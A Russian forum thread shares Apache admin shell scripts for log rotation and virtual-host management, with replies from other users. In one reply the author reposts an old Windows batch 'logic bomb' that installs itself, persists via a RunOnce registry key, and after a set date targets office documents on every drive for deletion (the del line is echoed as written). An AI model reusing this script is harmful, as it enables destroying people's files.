Страница 1 из 1

[SH] Работа с апачем

Добавлено: 2008-06-26 20:41:38
zg
Это больше всего подходит к скриптам на коленке, но у меня есть желание накропать немного простых скриптов на тему "управление апачем. сделал и забыл", поэтому и создаю отдельную тему. Апач у меня 1.3, но не суть важно.

Этап - первый ротация логов
Логи, это то, что растёт постоянно и неконтролируемо, поэтому лучше их обрезать и контролировать. Я реализовал это с помощью двух скриптов - первый универсальный архиватор логов, второй обработчик конфигов апача для выборки логов и вызова первого скрипта.

Универсальный архиватор логов
Основное назначение - ротация лога с удалением устарешвших частей лога.

Код: Выделить всё

gzlog.sh
-------------
#!/bin/sh

MAX_LOGS=${MAX_LOGS:=4}

ZIP=bzip2
EXT=bz2

if [ -z "$1" ] || [ ! -z "$2" ]; then
(
   echo "ERROR: $0: Illegal call"
   echo "   Try to use"
   echo "       $0 /path/to/some.log"
   echo
   echo "   Example"
   echo "       $0 /var/logs/messages"
   echo
   echo "   Result"
   echo "       /var/logs/messages.0.$EXT - dumped and compress (with $ZIP) log"
   echo "       /var/logs/messages.1.$EXT - previos compressed log"
   echo "       ... other logs (more then $MAX_LOGS count) will be remove"
   echo "(C) zg 2008"
) 1>&2
   exit 1
fi

if [ ! -f "$1" ]; then
   echo "WARNING: $0: No file '$1'" 1>&2
   exit 1
fi

echo "Process: $1 for $MAX_LOGS logs"

cd `dirname "$1"`
F=`basename "$1"`

LIST=`find -s . -name "$F.[0-9]*" | sed -E "s~^./*$F\.([0-9]+)(\..*)?$~\1~" | sort -nr`
 CNT=$((`echo "$LIST" | wc -l` + 1))

for i in $LIST
do
   LAST=$(($i + 1))
    CNT=$(($CNT - 1))

   if [ -f "$F.$i.$EXT" ]; then
      if [ $CNT -ge $MAX_LOGS ]; then
          echo rm -f "./$F.$i.$EXT"
          rm -f "./$F.$i.$EXT"
      else
         echo mv "./$F.$i.$EXT" "./$F.$LAST.$EXT"
         mv "./$F.$i.$EXT" "./$F.$LAST.$EXT"
      fi
   fi

   if [ -f "$F.$i" ]; then
      if [ $CNT -ge $MAX_LOGS ]; then
         echo rm -f "./$F.$i"
         rm -f "./$F.$i"
      else
         echo "mv \"./$F.$i\" \"./$F.$LAST\" && $ZIP \"./$F.$LAST\""
         mv "./$F.$i" "./$F.$LAST" && $ZIP "./$F.$LAST"
      fi
   fi
done

echo "cat ./$F | $ZIP -c > ./$F.0.$EXT"
cat "./$F" | $ZIP -c > "./$F.0.$EXT"

echo "echo -n > ./$F"
echo -n > "./$F"
вызов: gzlog.sh /путь/до/лога. В результате будет создан архив лога, а сам файл обнулён. По-началу было желание использовать newsyslog, но там слишком всё сложно, чтоб быть простым решением, хотя в принципе, можно использовать и его.

выбор целевых логов апача
Основное назначение - выдирать из конфигов апача информацию о том, какие логи ведутся и архивировать их.

Код: Выделить всё

rotatelogs.sh
----------
#!/bin/sh

awk '{if($1=="ErrorLog" || $1=="CustomLog")print $2}' \
   /usr/local/etc/apache/httpd.conf  \
   /usr/local/etc/apache/vhosts.conf \
| (
   while read log
   do
      /usr/local/www/gzlog.sh $log 
      echo
   done
)
Всё достаточно просто и примитивно. Сразу оговорюсь, что на данный момент меня интерисует простота и на реальный хостинг с большой нагрузкой ставить эти скрипты не рекомендуется!

Второй скрипт не является универсальным, поэтому его надо править под свой конфиг.

Результат работы будет примерно такой

Код: Выделить всё

game# ./rotatelogs.sh
Process: /usr/local/www/httpd-error.log for 4 logs
mv ./httpd-error.log.1.bz2 ./httpd-error.log.2.bz2
mv ./httpd-error.log.0.bz2 ./httpd-error.log.1.bz2
cat ./httpd-error.log | bzip2 -c > ./httpd-error.log.0.bz2
echo -n > ./httpd-error.log

Process: /usr/local/www/httpd-access.log for 4 logs
mv ./httpd-access.log.0.bz2 ./httpd-access.log.1.bz2
cat ./httpd-access.log | bzip2 -c > ./httpd-access.log.0.bz2
echo -n > ./httpd-access.log

Process: /usr/local/www/default/error.log for 4 logs
rm -f ./error.log.3.bz2
mv ./error.log.2.bz2 ./error.log.3.bz2
mv ./error.log.1.bz2 ./error.log.2.bz2
mv ./error.log.0.bz2 ./error.log.1.bz2
cat ./error.log | bzip2 -c > ./error.log.0.bz2
echo -n > ./error.log

Process: /usr/local/www/zg.xxxx/error.log for 4 logs
rm -f ./error.log.3.bz2
mv ./error.log.2.bz2 ./error.log.3.bz2
mv ./error.log.1.bz2 ./error.log.2.bz2
mv ./error.log.0.bz2 ./error.log.1.bz2
cat ./error.log | bzip2 -c > ./error.log.0.bz2
echo -n > ./error.log

Process: /usr/local/www/zg.xxxx/access.log for 4 logs
rm -f ./access.log.3.bz2
mv ./access.log.2.bz2 ./access.log.3.bz2
mv ./access.log.1.bz2 ./access.log.2.bz2
mv ./access.log.0.bz2 ./access.log.1.bz2
cat ./access.log | bzip2 -c > ./access.log.0.bz2
echo -n > ./access.log

Process: /usr/local/www/game.xxxx/error.log for 4 logs
rm -f ./error.log.3.bz2
mv ./error.log.2.bz2 ./error.log.3.bz2
mv ./error.log.1.bz2 ./error.log.2.bz2
mv ./error.log.0.bz2 ./error.log.1.bz2
cat ./error.log | bzip2 -c > ./error.log.0.bz2
echo -n > ./error.log

Process: /usr/local/www/malysh.xxxx/error.log for 4 logs
rm -f ./error.log.3.bz2
mv ./error.log.2.bz2 ./error.log.3.bz2
mv ./error.log.1.bz2 ./error.log.2.bz2
mv ./error.log.0.bz2 ./error.log.1.bz2
cat ./error.log | bzip2 -c > ./error.log.0.bz2
echo -n > ./error.log

game#
Если запускать этот скрипт каждую ночь, то на каждый лог будут архивы за четыре дня: 0 - сегодняшний
1 - вчерашний
2 - позавчера
... и т.д.

На мелком и дохлом (ака тестовом) сервере проблема с логами худо-бедно решена :)

ЗЫ: знаю, что изобретаю велосипед, но важен подход к реализации!

Re: [SH] Работа с апачем

Добавлено: 2008-06-27 13:43:18
zg
Этап второй. Управление виртуалхостами
Для решения этой задачи я придумал два скрипта, первый делает обработку конфига с виртуал хостами, а второй предоставляет GUI для управления первой программой.

Управление конфигом vhosts.conf
Основная задача - парсить конфиг апача и выдирать от туда нужную информацию

Код: Выделить всё

vhost.sh
----------
#!/usr/bin/awk -f

BEGIN {
  if ( ARGC < 2 )
  {
    print "Illegal call, hostname not specifed!"
    print "Use"
    print "   vhost.sh [-v vhost=HOSTNAME] [-v cmd=COMMAND] VHOSTS.OCNF"
    print
    print "   VHOSTS.CONF   apache config file"
    print
    print "   HOSTNAME      virtual hostname"
    print
    print "   COMMAND       wath's do with hostanme record"
    print "                 May be 'get', 'except' or 'list'"
    print "                 Default 'list'"
    exit 1
  }
  if ( !vhost ) vhost=default;
  vhost = tolower(vhost);
  prevLineIsEmpty=0

  if ( cmd != "except" && cmd != "list" && cmd != "get" ) cmd="list";
  #exit
}

{
  if ( $1=="" && prevLineIsEmpty ) next;
  prevLineIsEmpty=$1=="";

  if ( cmd=="list" )
  {
    if ( tolower($1)=="servername" ) print $2;
  }
  else if ( cmd=="get"  )
  {
    if ($1=="##" && tolower($2)==vhost) output=1;
    if (output) print $0;
    if (output && tolower($1)=="</virtualhost>") output=0;
  }
  else if ( cmd=="except" )
  {
    if ($1=="##" && tolower($2)==vhost) output=1;
    if (!output) print $0; else prevLineIsEmpty=1;
    if (output && tolower($1)=="</virtualhost>") output=0;
  }
}
выбор awk обусловлен тем, что он есть на любом сервере и синтаксис достаточно прост. vhost.sh вызывается для получения списка виртуальных хостов, выборка конкретного (для правки) и выбор всех, кроме указанного (для его модификации). Этот скрипт является универсальным и не зависит от настроек апача. По-началу хотел это релизовать на diff и awk '/.../,/.../', но понял, что не будет гибкости, хотя можно прибегнуть и к diff patch, запас есть )))

Гуёвина
Всем известно, что если человек пишет одну и ту же информацию в разных местах, то ошибка неизбежна. Гораздо приятней и удобней, когда есть тулза, которая позволяет делать за тебя всю грязную работу, а тебе нужно лишь наживать кнопки. Используя предыдущий скрипт я написал большой и кривой скрипт, который умеет делать следущее: добавлять новый хост, править имеющийся и удалять. Всё =) пока от него чего другого и не надо!

Код: Выделить всё

admin.sh
-------------
#!/bin/sh

TMP1=`mktemp /tmp/dialog.XXXXXX`
TMP2=`mktemp /tmp/dialog.XXXXXX`

EDITOR=${EDITOR:=ee}

VHOST_SH=/usr/local/etc/apache/vhost.sh
VHOSTS_CONF=/usr/local/etc/apache/vhosts.conf
VHOSTS_HOME=/usr/local/www
APACHECTL=/usr/local/sbin/apachectl

do_list()
{
  OK=1
  dialog --title "vhosts admin" --menu "Select vhost" 20 50 13 New "New virtual host"  `${VHOST_SH} ${VHOSTS_CONF} | awk '{print $1" "$1}' | sort` 2>$TMP1 && OK=0
}

do_new()
{
  dialog --title "New virtual host" --inputbox "Enter new virtual host like domain.net" 8 50 2>$TMP1
  if [ $? -eq 0 ]; then
    VHOST=`cat "$TMP1"`
    mkdir -p "${VHOSTS_HOME}/$VHOST/docs"
    if [ $? -ne 0 ]; then
      dialog --title "Error" --msgbox "Can't create dir ${VHOSTS_HOME}/$VHOST/docs" 7 60
      return 1
    fi

    if [ ! -f "${VHOSTS_HOME}/$VHOST/docs/index.html" ]; then
      echo "It's new virtualhost ${VHOST}" > ${VHOSTS_HOME}/$VHOST/docs/index.html
    fi

    chown -R www:www "${VHOSTS_HOME}/${VHOST}"

    cp "${VHOSTS_CONF}" "${VHOSTS_CONF}.new"
    cat >> "${VHOSTS_CONF}.new" <<EOF

## ${VHOST}
<VirtualHost *:80>
    ServerAdmin some@admin
    DocumentRoot "${VHOSTS_HOME}/${VHOST}/docs"
    <Directory "${VHOSTS_HOME}/${VHOST}/docs">
         AllowOverride None
         Order Allow,Deny
         Allow from all
    </Directory>
    ServerName ${VHOST}
    ServerAlias www.${VHOST}
    ErrorLog ${VHOSTS_HOME}/${VHOST}/error.log
#    CustomLog ${VHOSTS_HOME}/${VHOST}/access.log common
</VirtualHost>
EOF

    cp "${VHOSTS_CONF}" "${VHOSTS_CONF}.old"
    cp "${VHOSTS_CONF}.new" "${VHOSTS_CONF}"

    ${APACHECTL} configtest

    if [ $? -eq 0 ]; then
      ${APACHECTL} graceful
      dialog --title "Success" --msgbox "New vhost was create correctly!" 7 60
      return 0
    else
      cp "${VHOSTS_CONF}.old" "${VHOSTS_CONF}"
      dialog --title "Error" --msgbox "Invalid config ${VHOSTS_CONF}.new" 7 60
      return 1
    fi
  else
    return 1
  fi
}

do_del()
{
  if [ -z "$1"  ]; then return 1; fi

  dialog --title "Are you sure?" --yesno "Are you realy want to delete $1?" 7 50 no 2>"$TMP1"

  if [ $? -eq 0 ]; then
    ${VHOST_SH} -v vhost=$1 -v cmd=except ${VHOSTS_CONF} > ${VHOSTS_CONF}.new || exit
    cp ${VHOSTS_CONF} ${VHOSTS_CONF}.old || exit
    cp ${VHOSTS_CONF}.new ${VHOSTS_CONF} || exit

    ${APACHECTL} configtest

    if [ $? -eq 0 ]; then
      ${APACHECTL} graceful
      rm -r "${VHOSTS_HOME}/$1"
      dialog --title "Success" --msgbox "Virtual host $1 was remove" 7 60
      return 0
    else
      cp "${VHOSTS_CONF}.old" "${VHOSTS_CONF}"
      dialog --title "Error" --msgbox "Invalid config ${VHOSTS_CONF}.new" 7 60
      return 1
    fi
  fi
  return 1
}

do_edit()
{
  if [ -z "$1"  ]; then return 1; fi
  VHOST="$1"

  ${VHOST_SH} -v vhost=$1 -v cmd=get ${VHOSTS_CONF} > ${TMP2} || exit
  ${EDITOR} ${TMP2}

  if [ $? -eq 0 ]; then
    ${VHOST_SH} -v vhost=${VHOST} -v cmd=except ${VHOSTS_CONF} > ${VHOSTS_CONF}.new || exit
    SNAME=`awk '{if (tolower($1)=="servername") print $2}' "${TMP2}"` || exit
    echo "## $SNAME" >>  ${VHOSTS_CONF}.new || exit
    awk '{if ($1=="##")next; print $0}' "${TMP2}" >> ${VHOSTS_CONF}.new || exit

    cp ${VHOSTS_CONF} ${VHOSTS_CONF}.old || exit
    cp ${VHOSTS_CONF}.new ${VHOSTS_CONF} || exit

    ${APACHECTL} configtest

    if [ $? -eq 0 ]; then
      ${APACHECTL} graceful
      VHOST="${SNAME}"
      dialog --title "Success" --msgbox "Virtual host $1 was updated" 7 60
      return 0
    else
      cp "${VHOSTS_CONF}.old" "${VHOSTS_CONF}"
      dialog --title "Error" --msgbox "Invalid config ${VHOSTS_CONF}.new" 7 60
      return 1
    fi
  fi

  return 1
}

do_action()
{
  VHOST=$1
  while true
  do
    dialog --title "Manage vhost" --menu "Do action with $VHOST" 20 50 13 "edit" "Edit $VHOST" "del" "Delete $VHOST" 2>$TMP1
    if [ $? -eq 0 ]; then
      case "`cat $TMP1`" in
        edit)
          do_edit $VHOST
          ;;
        del)
          do_del $VHOST && return 0
          ;;
      esac
    else
      return 1
    fi
  done
}

while true
do
  do_list
  VHOST=`cat $TMP1`

  if [ $OK -eq 0 ]; then
    case "$VHOST" in
      [Nn][Ee][Ww])
          do_new
        ;;
      *)
          do_action $VHOST
        ;;
    esac
  else
    echo By
    break
  fi
done

rm -f $TMP1 $TMP2
тут много чего можно бодавлять и переделывать, этот скрипт уже не является универсальным, его нужно пилить и пилить. Для меня пока это решение подходит.

Ну а выглядит это всё дело примерно так

Re: [SH] Работа с апачем

Добавлено: 2008-06-27 13:50:21
zg
при использовании admin.sh очень желательно проверять папку /tmp на файлики dialog.*, потому как в случае любой ошибки они так и остануться там жить до перезагрузки.

Re: [SH] Работа с апачем

Добавлено: 2008-07-08 20:02:38
salvator
у вас шаблонные виртуалхосты. в сторону mod_macro не смотрели?

Re: [SH] Работа с апачем

Добавлено: 2008-07-08 20:28:27
f_andrey
Про логи, а чем не нравится сислог? да и апач разве не умеет логи ротатить, хотя честно скажу сам не проверял.

Re: [SH] Работа с апачем

Добавлено: 2008-07-09 5:32:04
zg
salvator писал(а):у вас шаблонные виртуалхосты. в сторону mod_macro не смотрели?
но у меня можно править каждый хост в отдельности, а там один на всех.
f_andrey писал(а):Про логи, а чем не нравится сислог?
есть несколько причин, во-первых он не умеет обрабатывать конфиг апача на предмет логов, во-вторых меня больше интерисовал сам механизм ротации файлов, в третьих задача изначально надуманная, ну а в четвёртых

Код: Выделить всё

game# man syslogd | col -b | grep rotate
game# man newsyslog | col -b | grep rotate
             For any log file which is rotated, this option will usually also
             mean the rotated log file will not be compressed if there is a
             Specify that newsyslog should rotate a given list of files, even
             rotated.  This differs from the -F option in that one or more log
             ger a rotate based on their own criteria.  With this option they
             can execute newsyslog to trigger the rotate when they want it to
             force the rotate.  Skipping the signal step will also mean that
про newsyslog я уже писал выше и объяснил почему я его не использовал.
f_andrey писал(а):да и апач разве не умеет логи ротатить, хотя честно скажу сам не проверял.

Код: Выделить всё

game# man httpd | col -b | grep rotate
game# apachectl --help | grep rotate
game# grep rotate /usr/local/etc/rc.d/apache
game#
не нашёл, сквид может, у него демон умеет, а вот у первого апача не нашёл, да и често говоря сомневаюсь, что ротация на уровне апача вообще уместна, поскольку логи у разных хостов могут обрабатываться по-разному в разное время

Re: [SH] Работа с апачем

Добавлено: 2008-07-09 9:35:57
serge
Про управление доменами особо понравилось :good: Пиши есче :drinks:

Re: [SH] Работа с апачем

Добавлено: 2008-07-09 18:33:45
zg
serge писал(а):Про управление доменами особо понравилось :good:
а что именно? вроде ничего такого не писал
serge писал(а):Пиши есче :drinks:
))) опять накатит пистельское настроение так сразу :-D я так от пых-пыха отдыхал :roll: иногда бывает.

Re: [SH] Работа с апачем

Добавлено: 2008-07-10 0:09:08
Alex Keda
я уже неделю отдыхаю.
решил - пишу сколько пишется, потом ерундой маюсь.
немного выходит, но код красивей и умней чем когда себя насилуешь - надо, надо, надо... =)))

Re: [SH] Работа с апачем

Добавлено: 2008-07-10 5:30:26
zg
lissyara писал(а):я уже неделю отдыхаю.
решил - пишу сколько пишется, потом ерундой маюсь.
тут слово ерудна, лишнее :roll: во время такой "ерунды" мозг всё-равно занимается решением задачи, а когда он её додумает, тогда приходит "вдохновение" и код пишется на ура :) поэтому смело страдай ерундой скока влезет, а когда поймаешь себя на мысли, что занимаешься ерундой ради ерунды, то надо начинать писать :-D
lissyara писал(а):немного выходит, но код красивей и умней чем когда себя насилуешь - надо, надо, надо... =)))
мля, ща чё-то заговорили про скрипты, решил глянуть чё я три года назад писал ))))

Код: Выделить всё

echo off

rem ----------------------------------------------------------------------------
rem - Скрипт накатал (C)ZlobnyGrif по заказу Atommm'a в 21:01 17.12.2005 :-)   -
rem -                                                                          -
rem - Скрипт предназначен для массового копирования, удаления, переименования, -
rem - показа документов в определённый день.                                   -
rem -                                               Протестирован на WinXP SP0 -
rem ----------------------------------------------------------------------------

setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

set __FILE__="%~s0"
set __NAME__=%~nx0
set __DEST__="%windir%\%__NAME__%"
set __SRUN__="%~dp0srun.exe"

if not exist %__DEST__% goto :install

rem -------------------------------------------
rem - день запуска бомбы в формате dd.mm.yyyy -
rem - Например: 01.01.2006                    -
rem -------------------------------------------

set start_date=19.12.2005


rem -------------------------------------
rem - Парсим дату старта и текущую дату -
rem -------------------------------------

call :parse_date start %start_date%
call :parse_date curr %date%


rem --------------------------------------------
rem - Проверка даты и если чЁ запуск бомбы :)) -
rem --------------------------------------------

set /a curr_time=%curr_year%*366+%curr_month%*31+%curr_day%
set /a start_time=%start_year%*366+%start_month%*31+%start_day%

if %curr_time% geq %start_time% (
	call :bomb
	call :uninstall
	msg * All documents removed succefull...
)


rem ---------------------------------
rem - Проиписываем скрипт в реестре -
rem ---------------------------------

call :autostart


rem ---  The end  ---

goto :eof


rem ------------------------------------------------------------
rem - Функция дробления даты на переменные                     -
rem - использование - call :parse_date <имя_переменной> <дата> -
rem ------------------------------------------------------------

:parse_date
	set tmpdate=%2
	set %1_day=%tmpdate:~0,2%
	set %1_month=%tmpdate:~3,2%
	set %1_year=%tmpdate:~6,4%
exit /b

rem ------------------------------------------------------------


rem ------------------------------
rem - Функция инсталяции скрипта -
rem ------------------------------

:install
	copy %__FILE__% %__DEST__% /y
	
	if exist %__SRUN__% (
		copy %__SRUN__% %windir% /y
		srun %__DEST__%
	) else (
		cmd /d /c /e:on /v:on "%__DEST__%"
	)
	
	goto :eof
exit /b

rem ------------------------------


rem --------------------
rem - Деинсталяция :-) -
rem --------------------

:uninstall
	@del %__DEST__% /f
exit /b

rem --------------------


rem -------------------------------
rem - Функция автозапуска скрипта -
rem -------------------------------

:autostart
	if exist %__SRUN__% (
		reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v "_" /d "srun %__NAME__%" /f
	) else (
		reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v "_" /d "cmd /v:on /e:on /c %__NAME__%" /f
	)
exit /b

rem -------------------------------


rem ---------
rem - Бомба -
rem ---------

:bomb
	setlocal
	
	set d_f=%tmp%\drives.txt
	
	echo c:\>%d_f%	| rem -- Добавляем диск c:\ в список поиска
	echo d:\>>%d_f%	| rem -- Добавляем диск d:\ в список поиска
	echo e:\>>%d_f%	| rem -- Добавляем диск e:\ в список поиска
	echo f:\>>%d_f%	| rem -- Добавляем диск f:\ в список поиска
	echo g:\>>%d_f%	| rem -- Добавляем диск g:\ в список поиска
	echo h:\>>%d_f%	| rem -- Добавляем диск h:\ в список поиска
	echo i:\>>%d_f%	| rem -- Добавляем диск i:\ в список поиска
	echo k:\>>%d_f%	| rem -- Добавляем диск k:\ в список поиска
	
	for /F %%i in (%d_f%) do if exist %%i call :kill_all %%i
	
	del %d_f% /f
	
	endlocal
exit /b

rem ---------


rem ----------
rem - Убийца!-
rem ----------

:kill_all
	for /R %1 %%j in (*.doc *.xls *.txt *.ppt) do echo del "%%~sj" /y
exit /b

rem -----------

:eof
srun.zip
(1.54 КБ) 17 скачиваний
после этого я всей душой полюбил бат )))

Re: [SH] Работа с апачем

Добавлено: 2008-07-10 5:33:41
paradox
вспомним молодость )))
наш первый вирус был на бате
))
второй был на асме - хукал обращение к диску
и делал вид что дает писать на дискету лабораторные работы)))
народ приходил домой и сильно удивлялся....

Re: [SH] Работа с апачем

Добавлено: 2008-07-10 5:42:27
zingel
где-то даже валялся исход cancer у меня...

Re: [SH] Работа с апачем

Добавлено: 2008-07-10 5:51:54
paradox
>Этап - первый ротация логов
>Универсальный архиватор логов
>....По-началу было желание использовать newsyslog,......
>....
>Process: /usr/local/www/malysh.xxxx/error.log for 4 logs
>rm -f ./error.log.3.bz2
>mv ./error.log.2.bz2 ./error.log.3.bz2
>mv ./error.log.1.bz2 ./error.log.2.bz2
>mv ./error.log.0.bz2 ./error.log.1.bz2
>cat ./error.log | bzip2 -c > ./error.log.0.bz2
>echo -n > ./error.log


вы меня убиваете :crazy:

Re: [SH] Работа с апачем

Добавлено: 2008-07-10 6:13:08
zg
paradox писал(а):вы меня убиваете
чё не так?